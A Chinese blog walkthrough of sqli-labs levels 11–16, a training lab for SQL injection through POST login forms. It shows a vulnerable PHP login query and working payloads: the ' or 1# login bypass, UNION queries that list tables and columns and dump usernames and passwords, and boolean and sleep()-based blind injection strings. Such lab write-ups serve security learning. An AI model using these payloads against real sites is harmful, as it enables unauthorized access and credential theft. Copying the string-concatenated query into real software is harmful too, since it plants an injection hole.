表单注入——sqli-labs第11~16关

2023-11-17

第11关

0、万能账号、密码的前提

登录的验证方式如下面这种

……
$Name = $_POST['userName'];
$pwd  = $_POST['password'];

$loginSQL = "select * from users where userName='$Name' and password='$pwd'";
echo $loginSQL;
$resultLogin = mysql_query($loginSQL);
if (mysql_num_rows($resultLogin) > 0) {
    echo "登录成功";
} else {
    echo "登录失败";
}
closeConnect();
……

重点是这句话

select * from users where userName='$Name' and password='$pwd'

加入 ' or 1# 后,变成这样:

select * from users where userName='$Name   ' or 1#         ' and password='$pwd'"

#后面都被注释,即此语句恒为真。所以登录成功

1、判断是否POST注入

观察是post还是get
可以看url的变化,或者看源码
1.
在这里插入图片描述
2.

在这里插入图片描述

2、猜测后台SQL语句

3、判断闭合符

在表单里分别输入XXXX' or 1# , xxxx" or 1#。然后按下submit,观察反应

在这里插入图片描述在这里插入图片描述
发现单引号是闭合符

4 、查询列数

xxxx ' order by 3 #
xxxx ' order by 2 #

在这里插入图片描述

在这里插入图片描述

说明是两列。

5、找显示位

在这里插入图片描述
在这里插入图片描述

6、查库名

cwa' union select 1,database()#

在这里插入图片描述

7、查表名

cwa' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

在这里插入图片描述

8、查列名

cwa' union select 1,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'#

在这里插入图片描述

9、找账号密码

cwa' union select 1,group_concat(concat_ws(",",username,password) SEPARATOR "|") from users #

在这里插入图片描述

第12关

和第11关一样,只不过闭合符是")

第13关

查列数
admin') order by 2#

在这里插入图片描述
查显示位,没有输出
admin') union select 1,2#
在这里插入图片描述

所以使用布尔盲注,参考第五关的第二种方法

第14关

1

……
ibeb’ order by 5#
ibeb") order by 5#
ibeb’) order by 5#

ibeb" order by 5#

找出闭合符是"
在这里插入图片描述

2

两列

wsgver" order by 2 #

在这里插入图片描述
发现不回显,所以可以使用延迟盲注

fwfwf" union select 1,2#

在这里插入图片描述

3

ibeb" or if(3>2,sleep(2),1)#

发现延迟不止2秒,猜测应该是查询的数据太多,每个数据延迟2秒,加起来就很长时间了。所以可以把延迟时间改为0.2,可以减少等待的时间。
在这里插入图片描述

4

数据库名是8位
vvwc" or if(length(database())>7,sleep(3),1) #
vvwc" or if(length(database())>8,sleep(3),1) #

5

第一位的ASCII值是115,是s
vvwc" or if(ascii(substr(database(),1,1))>114,sleep(3),1) #
vvwc" or if(ascii(substr(database(),1,1))>115,sleep(3),1) #

6

…………

第15关

闭合符是'
可以使用布尔盲注

第16关

闭合符是")

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

表单注入——sqli-labs第11~16关 的相关文章

随机推荐

  • 230. Kth Smallest Element in a BST

    查找二叉搜索树的第K小节点 利用bst的中序遍历的性质 bst 中序遍历可以得到一个有序数组 每次从stack中弹出一个元素 看k 进行计数即可 Inorder Traversal We can inorder traverse the t
  • Spring系列文章:Spring中的设计模式

    一 简单 模式 BeanFactory的getBean 法 通过唯 标识来获取Bean对象 是典型的简单 模式 静态 模 式 二 法模式 FactoryBean是典型的 法模式 在配置 件中通过factory method属性来指定 法 该
  • Mac使用bootcamp安装win系统花屏解决方法

    15年11 乞丐版air装win屏幕花屏 很郁闷 先后找了网上很多方法 最终总结出了一个比较折中的方法 不玩游戏不使用大型3D的可以参考 1 花屏现象 2 解决方法 2 1 禁用驱动 2 2 使用Microsoft基本显示适配器 2 2 1
  • 记 asp.net core 开发过程中的错误

    mysql数据库 ef进行 update database 时 报 An error occurred using the connection to database on server localhost 3307 错误原因 serve
  • ctf.show web入门

    目录 信息收集 web1 where is flag web2 无法查看源代码 web3 where is flag web4 robots web5 phps文件泄露 web6 网站源码泄露 web7 git web8 svn泄露 web
  • 使用 OpenCV 和 Tesseract 对图像中的感兴趣区域 (ROI) 进行 OCR

    点击上方 小白学视觉 选择加 星标 或 置顶 重磅干货 第一时间送达 在这篇文章中 我们将使用 OpenCV 在图像的选定区域上应用 OCR 在本篇文章结束时 我们将能够对输入图像应用自动方向校正 选择感兴趣的区域并将OCR 应用到所选区域
  • tensorrt和onnxruntime-gpu同时调用gpu时tensorrt推理出现错乱解决方式

    问题 当我在同一个进程同时调用tensorrt和onnxruntime gpu时 出现了tensorrt推理结果全为0的情况 解决方式 将onnxruntime gpu放到cpu上 但是cpu的推理速度明显会不如gpu 如果在python中
  • 深度剖析数据在内存中的存储(修炼内力)

    目录 一 数据类型的介绍 1 1数据大小 1 2类型的基本归类 二 整型在内存中的存储 2 1原码 反码 补码 2 2大小端介绍 2 2 1大小端的起源 2 2 2大小端的概念 2 2 3为什么会有大端和小端 2 2 4设计一个小程序来判断
  • Fedora 启动顺序

    http hi baidu com wwwkljoel item 29620217882a585b2b3e2244 The start of the Fedora fedora 系统加电或复位后 中央处理器将内存中的所有数据清零 并对内存进
  • html往下滑变成水平,HTML - 水平滑块CSS最佳方法_html_开发99编程知识库

    由於每個部分的位置已經設置為relative 意味著將relative定位到上一節 因此可以將其他部分設置為left 0 margin 0 all sections display inline flex main about profes
  • 【学】saas系统前端技术选型,需要考虑哪些方面?

    对于saas前端技术选型 可以考虑以下几个方面 框架选择 目前比较流行的前端框架有React Vue Angular等 可以根据项目需求和团队技术水平选择合适的框架 例如 如果需要高度可定制性和灵活性 可以选择React 如果需要快速开发和
  • 数学建模之灰色关联实例含代码

    参考书籍 数学建模算法与应用 一 预备 1 无量纲化处理技术 二 灰色关联的步骤 通过对某健将级女子铅球运动员的跟踪调查 获得其 1982 年至 1986 年每年好成绩及16 项专项素质和身体素质的时间序列资料 见表 2 试对此铅球运动员的
  • linux-UNIX socket

    UNIX域套接字 域套接字作为进程间通信的一种手段 值得我们研究一下 域套接字实现本地进程间通信 同样有服务端和客户端之分 一个进程作为客户端 另一个进程作为服务端 这个和TCP socket类似 但是不一样 域套接字不经过底层网络 数据结
  • LaTeX 数学公式大全!

    LaTeX 数学公式大全 这里是来自一篇教程的截图 很全面
  • java.util之ArrayList使用

    java util之ArrayList使用 一 概述 ArrayList底层实际是通过一个数组来保存数据 其默认大小为10 扩容机制为新的容量 原始容量x3 2 1 允许空值 有序 为线程不安全 可以使用迭代器遍历 里面的的元素全部都是对象
  • NoteExpress安装时问题解决

    每次安装软件我都不能一次性成功 这次遇见的是NoteExpress和Word权限不一致的问题 版本 win10 office2019 网上有很多方法 其中CSDN博主 令令狐大侠 总结郭一篇 原文链接 https blog csdn net
  • 【华为OD机试】工号不够用了怎么办 (C++ Python Java)2023 B卷

    题目描述 3020年 空间通信集团的员工人数突破20亿人 即将遇到现有工号不够用的窘境 现在 请你负责调研新工号系统 继承历史传统 新的工号系统由小写英文字母 a z 和数字 0 9 两部分构成 新工号由一段英文字母开头 之后跟随一段数字
  • 关于split截取字符时,问号的特殊情况

    有一段字符 tring str gjjxxcx gjjxx cx jsp zgzh 1010024000019 如果使用如下代码 String strArray str split gjjxx cx jsp System out print
  • 基础算法题——带分数(全排列,工具库)

    前言 这道题理解起来不难 但是要找到一个合适的方法对题目进行优化 就会相对麻烦些 蓝桥杯的题 真的到处都是坑的感觉 带分数题目 资源限制 时间限制 1 0s 内存限制 256 0MB 问题描述 100 可以表示为带分数的形式 100 3 6
  • 表单注入——sqli-labs第11~16关

    目录 第11关 0 万能账号 密码的前提 1 判断是否POST注入 2 猜测后台SQL语句 3 判断闭合符 4 查询列数 5 找显示位 6 查库名 7 查表名 8 查列名 9 找账号密码 第12关 第13关 第14关 1 2 3 4 5 6